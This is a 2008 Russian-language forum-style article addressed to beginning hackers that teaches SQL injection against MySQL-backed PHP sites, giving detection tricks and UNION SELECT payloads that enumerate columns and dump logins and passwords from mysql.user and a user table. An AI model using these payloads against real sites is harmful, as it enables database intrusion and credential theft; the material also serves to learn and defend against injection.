DataLife Engine > PHP > SQL injection

SQL injection


13 марта 2008. Разместил: podpole
Что побудило меня написать эту статью?
Желание поделиться навыками, с другими начинающими хакерами.
Статья эта написана только в целях повышения уровня знаний и за любое другое применение автор не несёт ответственности!!!

Все примеры описаны для Mysql.

Теория.

1. Обнаружение SI.
Во первых нам надо узнать, использует ли сервер SQL вообще, для этого по бродим по ссылкам, если через URL(То есть методом GET) передаются числовые параметры, то сервер скорее всего использует SQL, чтобы убидиться в этом подставим несуществующее значение (Обычно подходит -1 или 99999), если сервер, в том месте где должна быть информация, выдал пустое место, значит SQL используется!!!
Возможно два способа!
1.1 Подставляем '/*
После такой подстановки, если Magicquotes = off, Сервер выдаст ошибку или пустую страницу, это говорит о том, что сервер скорее всего подвержен атаке.
Происходит это из - за того что запрос принимает вот такой вид:
$query=mysql_query(" select* from `table` where `id`=''/* and `id2`='id2');
Вряд ли кодеры предусматривали такой вариант и вставили пустое значение в id =)

1.2 Проверяем Математикой =)
Итак предположим на ' ответ отрицательный, тогда проверим корректно ли написан запрос!
Предположим мы имеем дело с таким параметром id=2 при этом сервер выдал нам какую-то информацию.
Теперь проверим =) Подставляем в id математическое выражение т.е. id=3-1 если сервер выдал ту же информацию, сервер 95\% подвержен атаке =)

Реализация...
Мы не можем узнать как выглядит запрос в перво источнике, но для теоретического понимания приведу пример, и что происходит с запросом, при вставке нашего кода.

$query=mysql_query(" select * from `table` where `id`=id and `id2`='id2');
или
$query=mysql_query(" select * from `table` where `id`='id' and `id2`='id2'); при выключенных MAGICQUOTES

Итак мы вставляем в id следующее значение - id = -1+union+select+1,2/* или id = -1'+union+select+1,2/* во втором случае.

Запрос превращается вот в такой:
$query=mysql_query(" select* from `table` where `id`=-1 union select 1,2/* and `id2`='id2');
$query=mysql_query(" select* from `table` where `id`='-1' union select 1,2/* and `id2`='id2');
Union используется для обьединения запросов.

Нам нужно узнать, сколько полей используется в запросе.Делается это следующим запросом -
id=-1+union+select+1/*
/* - используется для того, чтобы не работала остальная часть запроса, и обозначает открытие коментария.
Если выдаётся ошибка типа "select statement ..." Значит используется больше полей! Изменяем запрос
id=-1+union+select+1,2/*
И добавляем до тех пор, пока не получим вывод без сообщений об ошибках!
Итак мы добились своего! Идём дальше =) Предположим мы знаем имена таблиц(если нет, то можно воспользоваться программой от rst(rst.void.ru))

В первую очередь проверяем, есть ли права на выборку из БД `mysql` Составляем вот такой запрос
id=-1+union+select+user,password+from+mysql.user/*
Где user,password - имена полей для выборки! Если на страницу выводиться только один результат, то можно перебирать результаты используя функцию SQL - limit ...

Предположим, мы знаем, что есть таблица, имя которой reguser, и вней есть поля usr и pwd =)
Чтобы их вывести составляем такой запрос
id=-1+union+select+usr,pwd+from+reguser/*

Вот и всё, это мои знания по SQL Injection которых мне пока хватает =)
Greetz: Всем, кто описывал этот тип атаки =)